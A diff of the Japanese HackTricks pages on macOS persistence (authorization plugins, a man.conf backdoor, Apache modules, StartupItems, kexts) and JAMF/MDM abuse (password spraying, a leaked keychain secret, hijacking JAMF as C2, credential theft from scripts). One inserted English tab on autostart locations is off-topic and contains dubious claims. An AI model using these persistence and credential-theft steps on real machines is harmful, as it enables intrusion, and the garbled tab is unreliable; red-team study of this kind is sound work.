||||
* `/Library/Security/SecurityAgentPlugins/`
|
||||
* root権限が必要
|
||||
* プラグインを使用するように認可データベースを構成する必要があります
|
||||
* プラグインを使用するために認可データベースを構成する必要があります
|
||||
|
||||
#### 説明と悪用
|
||||
|
||||
ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください(悪く書かれたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要がありますので、注意してください)。
|
||||
ユーザーがログインするときに実行される認可プラグインを作成して、持続性を維持することができます。これらのプラグインの作成方法についての詳細は、以前の解説を参照してください(悪く書かれたプラグインはロックアウトされ、回復モードからMacをクリーンアップする必要があることに注意してください)。
|
||||
```objectivec
|
||||
// Compile the code and create a real bundle
|
||||
// gcc -bundle -framework Foundation main.m -o CustomAuth
|
||||
|
@ -1413,7 +1388,7 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、rootによって実行されるようにします。
|
||||
**`evaluate-mechanisms`**は、認可フレームワークに、**認可のために外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**を使用すると、rootによって実行されるようになります。
|
||||
|
||||
以下のようにトリガーします:
|
||||
```bash
|
||||
|
@ -1439,11 +1414,11 @@ security authorize com.asdf.asdf
|
|||
|
||||
構成ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開く際に使用するバイナリ/スクリプトを示しています。したがって、実行可能ファイルへのパスを変更すると、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行されます。
|
||||
|
||||
たとえば、**`/private/etc/man.conf`**に設定:
|
||||
たとえば、**`/private/etc/man.conf`**に設定されています:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
次に、`/tmp/view`を以下のように作成します:
|
||||
その後、`/tmp/view`を以下のように作成します:
|
||||
```bash
|
||||
#!/bin/zsh
|
||||
|
||||
|
@ -1468,7 +1443,7 @@ touch /tmp/manconf
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
`/etc/apache2/httpd.conf`にモジュールをロードするよう指示することができます。次のような行を追加します:
|
||||
`/etc/apache2/httpd.conf`にモジュールをロードするよう指示することができます。以下のような行を追加します:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1478,7 +1453,7 @@ LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
|||
|
||||
これにより、Apacheによってコンパイルされたモジュールがロードされます。唯一の注意点は、**有効なApple証明書で署名する**か、システムに**新しい信頼された証明書を追加**して**それで署名する**必要があることです。
|
||||
|
||||
必要に応じて、サーバーが起動されることを確認するために次のコマンドを実行できます:
|
||||
その後、サーバーが起動することを確認する必要がある場合は、次のコマンドを実行できます:
|
||||
```bash
|
||||
sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
|
||||
```
|
||||
|
@ -1520,12 +1495,15 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
**これは非推奨ですので、これらのディレクトリには何も見つかるべきではありません。**
|
||||
{% endhint %}
|
||||
|
||||
**StartupItem** は、`/Library/StartupItems/` または `/System/Library/StartupItems/` のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含む必要があります:
|
||||
**StartupItem**は、`/Library/StartupItems/`または`/System/Library/StartupItems/`のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、次の2つの特定のファイルを含む必要があります。
|
||||
|
||||
1. **rc スクリプト**: 起動時に実行されるシェルスクリプト。
|
||||
2. **plist ファイル**、特に `StartupParameters.plist` という名前のファイルで、さまざまな構成設定を含みます。
|
||||
1. **rcスクリプト**:起動時に実行されるシェルスクリプト。
|
||||
2. **plistファイル**、特に`StartupParameters.plist`という名前の、さまざまな構成設定を含むファイル。
|
||||
|
||||
スタートアッププロセスがこれらを認識して利用するために、rcスクリプトと`StartupParameters.plist`ファイルが正しく**StartupItem**ディレクトリ内に配置されていることを確認してください。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="StartupParameters.plist" %}
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -1546,22 +1524,71 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
|
|||
|
||||
{% tab title="superservicename" %}
|
||||
|
||||
### スーパーサービス名
|
||||
### macOS Auto Start Locations
|
||||
|
||||
macOSオートスタートの場所を特定するために、次のコマンドを使用します。
|
||||
#### Launch Agents
|
||||
|
||||
```bash
|
||||
ls -la /Library/LaunchAgents
|
||||
ls -la /Library/LaunchDaemons
|
||||
ls -la /Library/StartupItems
|
||||
ls -la /System/Library/LaunchAgents
|
||||
ls -la /System/Library/LaunchDaemons
|
||||
ls -la /System/Library/StartupItems
|
||||
ls -la ~/Library/LaunchAgents
|
||||
ls -la ~/Library/LaunchDaemons
|
||||
```
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
これらの場所には、システムが起動時に自動的に実行するプログラの設定ファイルが含まれています。これらのファイルを調査して、不審なアクティビティを見つけることができます。
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
Cron Jobs are scheduled tasks that run at specific times. They can be managed using the `crontab` command.
|
||||
|
||||
#### System Agents
|
||||
|
||||
System Agents are used to launch processes at system startup. They are stored in `/System/Library/LaunchAgents/`.
|
||||
|
||||
#### System Daemons
|
||||
|
||||
System Daemons are used to launch processes at system startup. They are stored in `/System/Library/LaunchDaemons/`.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC Services are helper tools that can be launched by applications. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Kernel Extensions
|
||||
|
||||
Kernel Extensions are low-level modules that can be loaded into the macOS kernel. They are stored in `/Library/Extensions/` and `/System/Library/Extensions/`.
|
||||
|
||||
#### Login Hooks
|
||||
|
||||
Login Hooks are deprecated and no longer recommended for macOS. They were stored in `/Library/Security/SecurityAgentPlugins/`.
|
||||
|
||||
#### Third-Party Launch Daemons
|
||||
|
||||
Third-Party Launch Daemons are used by third-party applications to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
|
||||
#### Third-Party Kernel Extensions
|
||||
|
||||
Third-Party Kernel Extensions are used by third-party applications to extend the functionality of the macOS kernel. They are stored in `/Library/Extensions/`.
|
||||
|
||||
#### Third-Party Login Items
|
||||
|
||||
Third-Party Login Items are applications from third-party developers that open when a user logs in. They can be managed in System Preferences > Users & Groups > Login Items.
|
||||
|
||||
#### Third-Party System Agents
|
||||
|
||||
Third-Party System Agents are used by third-party applications to launch processes at system startup. They are stored in `/System/Library/LaunchAgents/`.
|
||||
|
||||
#### Third-Party XPC Services
|
||||
|
||||
Third-Party XPC Services are helper tools from third-party developers that can be launched by applications. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Third-Party Startup Items
|
||||
|
||||
Third-Party Startup Items are legacy items from third-party developers that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
|
@ -1582,7 +1609,10 @@ echo "Restarting"
|
|||
|
||||
RunService "$1"
|
||||
```
|
||||
### ~~emond~~
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
### emond
|
||||
|
||||
{% hint style="danger" %}
|
||||
私のmacOSにはこのコンポーネントが見つかりません。詳細については、writeupを確認してください。
|
||||
|
@ -1592,7 +1622,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.
|
|||
|
||||
Appleによって導入された**emond**は、開発途中であるか、可能性として放棄されているようですが、アクセス可能な状態にあります。Macの管理者にとって特に有益ではありませんが、この不明瞭なサービスは、おそらくmacOSのほとんどの管理者には気付かれないまま、脅威行為者にとって微妙な持続性手法として機能する可能性があります。
|
||||
|
||||
その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのLaunchDaemonは、実行するスクリプトを単一のディレクトリ内で検索します。これを調査するために、次のコマンドを使用できます:
|
||||
その存在を認識している人にとって、**emond**の悪用を特定することは簡単です。このサービスのシステムLaunchDaemonは、実行するスクリプトを単一のディレクトリ内で検索します。これを調査するために、次のコマンドを使用できます:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
|
@ -1600,7 +1630,7 @@ ls -l /private/var/db/emondClients
|
|||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
#### 位置
|
||||
#### ロケーション
|
||||
|
||||
* **`/opt/X11/etc/X11/xinit/privileged_startx.d`**
|
||||
* ルート権限が必要
|
||||
|
@ -1608,15 +1638,15 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.
|
|||
|
||||
#### 説明とエクスプロイト
|
||||
|
||||
XQuartzは**macOSにはもはやインストールされていません**ので、詳細についてはライトアップをチェックしてください。
|
||||
XQuartzは**macOSにはもはやインストールされていません**ので、詳細についてはwriteupを確認してください。
|
||||
|
||||
### kext
|
||||
|
||||
{% hint style="danger" %}
|
||||
ルートとしてさえkextをインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮することはしません(エクスプロイトがある場合を除く)
|
||||
kextをルートとしてインストールするのは非常に複雑なので、サンドボックスから脱出するためや持続性のためにこれを考慮しないでください(エクスプロイトがある場合を除く)
|
||||
{% endhint %}
|
||||
|
||||
#### 位置
|
||||
#### ロケーション
|
||||
|
||||
KEXTを起動アイテムとしてインストールするには、次のいずれかの場所に**インストールする必要があります**:
|
||||
|
||||
|
@ -1625,7 +1655,7 @@ KEXTを起動アイテムとしてインストールするには、次のいず
|
|||
* `/Library/Extensions`
|
||||
* サードパーティ製ソフトウェアによってインストールされたKEXTファイル
|
||||
|
||||
現在ロードされているkextファイルをリストアップすることができます:
|
||||
現在ロードされているkextファイルをリストアップするには、次のコマンドを使用できます:
|
||||
```bash
|
||||
kextstat #List loaded kext
|
||||
kextload /path/to/kext.kext #Load a new one based on path
|
||||
|
@ -1644,11 +1674,11 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
- **`/usr/local/bin/amstoold`**
|
||||
- ルート権限が必要
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
#### 説明と悪用
|
||||
|
||||
明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、XPCサービスを公開しながらこのバイナリを使用していました... 問題は、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにあなたのバイナリが呼び出されることです。
|
||||
明らかに、`/System/Library/LaunchAgents/com.apple.amstoold.plist`からの`plist`は、このバイナリを使用していましたが、バイナリが存在しなかったため、そこに何かを配置し、XPCサービスが呼び出されるときにバイナリが呼び出されるようにすることができました。
|
||||
|
||||
私は自分のmacOSでこれを見つけることができなくなりました。
|
||||
私のmacOSではこれを見つけることができなくなりました。
|
||||
|
||||
### ~~xsanctl~~
|
||||
|
||||
|
@ -1660,17 +1690,17 @@ kextunload -b com.apple.driver.ExampleBundle
|
|||
- ルート権限が必要
|
||||
- **トリガー**: サービスが実行されるとき(稀)
|
||||
|
||||
#### 説明とエクスプロイト
|
||||
#### 説明と悪用
|
||||
|
||||
このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでした。詳細については、解説をご覧ください。
|
||||
このスクリプトを実行することはあまり一般的ではないようで、私のmacOSでも見つけることができませんでした。詳細については、解説をチェックしてください。
|
||||
|
||||
### ~~/etc/rc.common~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
**これは現代のMacOSバージョンでは機能しません**
|
||||
**現代のMacOSバージョンでは機能しません**
|
||||
{% endhint %}
|
||||
|
||||
ここにも**起動時に実行されるコマンドを配置することができます。** 通常のrc.commonスクリプトの例:
|
||||
ここにも**起動時に実行されるコマンドを配置することができます。** 通常のrc.commonスクリプトの例:
|
||||
```bash
|
||||
#
|
||||
# Common setup for startup scripts.
|
||||
|
@ -1774,10 +1804,10 @@ esac
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
|
||||
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合** は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。**
|
||||
* **ハッキングトリックを共有するには、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに PR を提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,9 +8,9 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,9 +19,9 @@ HackTricksをサポートする他の方法:
|
|||
- JAMF Pro: `jamf checkJSSConnection`
|
||||
- Kandji
|
||||
|
||||
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、**すべてのコンピュータを潜在的に侵害**することができます。
|
||||
管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで、すべてのコンピュータを**潜在的に侵害**することができます。
|
||||
|
||||
MacOS環境でのレッドチーミングでは、MDMの動作原理についてある程度理解していることが強く推奨されています:
|
||||
MacOS環境でのレッドチーミングでは、MDMの動作原理について一定の理解を持つことが強く推奨されています:
|
||||
|
||||
{% content-ref url="macos-mdm/" %}
|
||||
[macos-mdm](macos-mdm/)
|
||||
|
@ -31,31 +31,31 @@ MacOS環境でのレッドチーミングでは、MDMの動作原理について
|
|||
|
||||
MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更などの権限を持っています。
|
||||
|
||||
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得しようとするベンダーによって署名された**CSRが必要**です。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
|
||||
独自のMDMを実行するには、[**https://mdmcert.download/**](https://mdmcert.download/)で取得できるベンダーによって署名されたCSRが必要です。Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。
|
||||
|
||||
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時に**デバイスはMDMのSSL証明書を信頼できるCAとして追加**するため、今後は何でも署名できます。
|
||||
ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントで署名する必要があります... ただし、MDM登録時には、デバイスがMDMのSSL証明書を信頼できるCAとして追加するため、今後は何でも署名できます。
|
||||
|
||||
デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。
|
||||
デバイスをMDMに登録するには、ルートとして**`mobileconfig`**ファイルをインストールする必要があります。これは**pkg**ファイルを介して配信できます(Safariからダウンロードされると解凍されます)。
|
||||
|
||||
**MythicエージェントOrthrus**はこのテクニックを使用しています。
|
||||
|
||||
### JAMF PROの悪用
|
||||
|
||||
JAMFは**カスタムスクリプト**(システム管理者が開発したスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、**MDM**(デバイスの構成、デバイス証明書...)を実行できます。
|
||||
JAMFは**カスタムスクリプト**(システム管理者が開発したスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視など)、**MDM**(デバイスの構成、デバイス証明書など)を実行できます。
|
||||
|
||||
#### JAMFの自己登録
|
||||
|
||||
`https://<company-name>.jamfcloud.com/enroll/`などのページに移動して、**自己登録が有効になっているかどうか**を確認します。有効になっている場合は**アクセスするための資格情報を要求**するかもしれません。
|
||||
`https://<company-name>.jamfcloud.com/enroll/`などのページに移動して、**自己登録が有効になっているかどうか**を確認します。有効になっている場合、**アクセスのための資格情報を要求**する場合があります。
|
||||
|
||||
[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)スクリプトを使用してパスワードスプレー攻撃を実行できます。
|
||||
|
||||
さらに、適切な資格情報を見つけた後、次のフォームで他のユーザ名をブルートフォースできるかもしれません:
|
||||
適切な資格情報を見つけた後、次のフォームで他のユーザー名を総当たり攻撃することができるかもしれません:
|
||||
|
||||
![](<../../.gitbook/assets/image (7) (1) (1).png>)
|
||||
|
||||
#### JAMFデバイス認証
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**`jamf`**バイナリには、発見時点で**誰もが共有していた**キーチェーンを開くための秘密が含まれていました。それは**`jk23ucnq91jfu9aj`**でした。\
|
||||
さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**永続化**されます。
|
||||
|
@ -80,7 +80,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
したがって、攻撃者は、**TyphonエージェントからMythic C2リスナーへのURLを設定**して、このファイルを**上書き**する悪意のあるパッケージ(`pkg`)をインストールすることができ、JAMFをC2として悪用することができます。
|
||||
したがって、攻撃者は、**TyphonエージェントからMythic C2リスナーへのURL**を設定して、JAMFをC2として悪用できるようになるように、悪意のあるパッケージ(`pkg`)を**上書きする**ことができます。
|
||||
```bash
|
||||
# After changing the URL you could wait for it to be reloaded or execute:
|
||||
sudo jamf policy -id 0
|
||||
|
@ -96,21 +96,21 @@ sudo jamf policy -id 0
|
|||
* デバイスの**UUID**:`ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
|
||||
* **JAMFキーチェーン**:`/Library/Application\ Support/Jamf/JAMF.keychain`(デバイス証明書を含む)
|
||||
|
||||
この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**して、**JAMFキーチェーン**を落とし、Jamf **エージェント**を**フック**して情報を盗みます。
|
||||
この情報を使用して、**盗まれた**ハードウェア**UUID**を持つVMを作成し、**SIPを無効に**し、**JAMFキーチェーン**を落とし、Jamf**エージェント**を**フック**して情報を盗みます。
|
||||
|
||||
#### 秘密の盗み出し
|
||||
#### 秘密情報の盗み取り
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
|
||||
|
||||
また、`/Library/Application Support/Jamf/tmp/`の場所を監視して、管理者がJamfを介して実行したい**カスタムスクリプト**を監視できます。これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。
|
||||
また、`/Library/Application Support/Jamf/tmp/`の場所を監視して、管理者がJamfを介して実行したい**カスタムスクリプト**を監視することもできます。これらのスクリプトはここに**配置され、実行され、削除**されます。これらのスクリプトには**資格情報**が含まれる可能性があります。
|
||||
|
||||
ただし、これらのスクリプトには**パラメータ**として**資格情報**が渡される場合がありますので、`ps aux | grep -i jamf`を監視する必要があります(root権限でなくても)。
|
||||
ただし、**資格情報**は**パラメータ**としてこれらのスクリプトに渡される場合がありますので、`ps aux | grep -i jamf`を監視する必要があります(root権限でなくても)。
|
||||
|
||||
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されるのを監視し、新しいプロセス引数を受信できます。
|
||||
スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルの追加と新しいプロセス引数を監視できます。
|
||||
|
||||
### macOSリモートアクセス
|
||||
|
||||
また、**MacOS**の"特別な"**ネットワーク** **プロトコル**についても:
|
||||
さらに、**MacOS**の"特別な"**ネットワーク** **プロトコル**についても:
|
||||
|
||||
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
|
||||
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
|
||||
|
@ -118,7 +118,7 @@ sudo jamf policy -id 0
|
|||
|
||||
## Active Directory
|
||||
|
||||
場合によっては、**MacOSコンピューターがADに接続**されていることがあります。このシナリオでは、通常どおりにActive Directoryを列挙する必要があります。以下のページで**ヘルプ**を見つけることができます:
|
||||
一部の場合、**MacOSコンピュータがADに接続**されていることがあります。このシナリオでは、通常どおりにActive Directoryを列挙する必要があります。以下のページで**ヘルプ**を見つけることができます:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -139,8 +139,8 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
|
|||
また、MacOS向けにADを自動的に列挙し、kerberosを操作するためのツールがいくつか用意されています:
|
||||
|
||||
- [**Machound**](https://github.com/XMCyber/MacHound): MacHoundはBloodhound監査ツールの拡張機能で、MacOSホスト上でActive Directoryの関係を収集および取り込むことができます。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、Objective-Cプロジェクトで、macOS上のHeimdal krb5 APIとやり取りするように設計されています。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲット上で他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して実現することです。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation (JXA)ツール。
|
||||
- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上でHeimdal krb5 APIとやり取りするように設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、macOSデバイス上でKerberosに関するセキュリティテストを、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用して行えるようにすることです。
|
||||
- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directoryの列挙を行うためのJavaScript for Automation(JXA)ツール。
|
||||
```bash
|
||||
echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
||||
```
|
||||
|
@ -148,18 +148,18 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
|
|||
|
||||
MacOSの3つのタイプのユーザーは次のとおりです:
|
||||
|
||||
- **ローカルユーザー** — ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の接続もありません。
|
||||
- **ネットワークユーザー** — DCサーバーに接続して認証する必要がある一時的なActive Directoryユーザー。
|
||||
- **ローカルユーザー** — ローカルのOpenDirectoryサービスによって管理され、Active Directoryとは何の接続も持ちません。
|
||||
- **ネットワークユーザー** — DCサーバーに接続して認証する必要がある、不安定なActive Directoryユーザー。
|
||||
- **モバイルユーザー** — 資格情報とファイルのローカルバックアップを持つActive Directoryユーザー。
|
||||
|
||||
ユーザーとグループに関するローカル情報は、_var/db/dslocal/nodes/Default_ フォルダに保存されています。\
|
||||
たとえば、ユーザー _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
たとえば、ユーザー _mark_ の情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存され、グループ _admin_ の情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ に保存されています。
|
||||
|
||||
HasSessionとAdminToエッジを使用するだけでなく、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加**します:
|
||||
MacHoundは、HasSessionとAdminToエッジに加えて、Bloodhoundデータベースに3つの新しいエッジを追加します:
|
||||
|
||||
- **CanSSH** - ホストにSSHで接続を許可されたエンティティ
|
||||
- **CanVNC** - ホストにVNCで接続を許可されたエンティティ
|
||||
- **CanAE** - ホストでAppleEventスクリプトを実行することを許可されたエンティティ
|
||||
- **CanSSH** - ホストにSSH接続を許可されたエンティティ
|
||||
- **CanVNC** - ホストにVNC接続を許可されたエンティティ
|
||||
- **CanAE** - ホストでAppleEventスクリプトを実行することが許可されたエンティティ
|
||||
```bash
|
||||
#User enumeration
|
||||
dscl . ls /Users
|
||||
|
@ -193,7 +193,7 @@ dsconfigad -show
|
|||
|
||||
## 外部サービス
|
||||
|
||||
MacOS Red Teamingは通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。 MacOSの一般的な構成は、**OneLoginと同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
MacOS Red Teamingは通常のWindows Red Teamingとは異なり、**MacOSは通常、複数の外部プラットフォームと直接統合**されています。MacOSの一般的な構成は、**OneLoginと同期した資格情報を使用してコンピュータにアクセスし、OneLoginを介して複数の外部サービス**(github、awsなど)にアクセスすることです。
|
||||
|
||||
## その他のレッドチーム技術
|
||||
|
||||
|
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見しましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見しましょう
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手しましょう
|
||||
